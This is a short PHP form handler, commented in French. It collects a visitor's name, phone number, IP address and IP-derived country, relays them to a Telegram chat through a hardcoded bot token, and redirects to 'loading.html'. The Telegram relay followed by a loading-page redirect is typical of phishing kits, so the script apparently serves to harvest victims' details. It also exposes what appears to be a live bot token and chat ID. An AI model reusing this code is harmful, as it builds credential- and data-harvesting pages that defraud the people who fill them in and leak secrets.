<?php
// CONFIG TELEGRAM
$botToken = "8377386965:AAHOItKym-jgbYenFMSoIywdLva8j45V1DM";
$chatId = "-5238833904";
// Sécurisation données
$nom = htmlspecialchars($_POST['nom'] ?? '');
$prenom = htmlspecialchars($_POST['prenom'] ?? '');
$telephone = htmlspecialchars($_POST['telephone'] ?? '');
// IP utilisateur
$ip = $_SERVER['REMOTE_ADDR'];
// Date & heure
$date = date("d/m/Y H:i:s");
// Récupération du pays via IP
$pays = "Inconnu";
$geo = @file_get_contents("http://ip-api.com/json/$ip?fields=country");
if ($geo) {
$geoData = json_decode($geo, true);
$pays = $geoData['country'] ?? "Inconnu";
}
// Message Telegram
$message = "📩 NOUVEAU FORMULAIRE\n\n"
. "👤 Nom : $nom\n"
. "👤 Prénom : $prenom\n"
. "📞 Téléphone : $telephone\n\n"
. "🌍 Pays : $pays\n"
. "📡 IP : $ip\n"
. "🕒 Date : $date";
// Envoi Telegram
$url = "https://api.telegram.org/bot$botToken/sendMessage";
file_get_contents($url . "?" . http_build_query([
'chat_id' => $chatId,
'text' => $message
]));
// Redirection
header("Location: loading.html");
exit;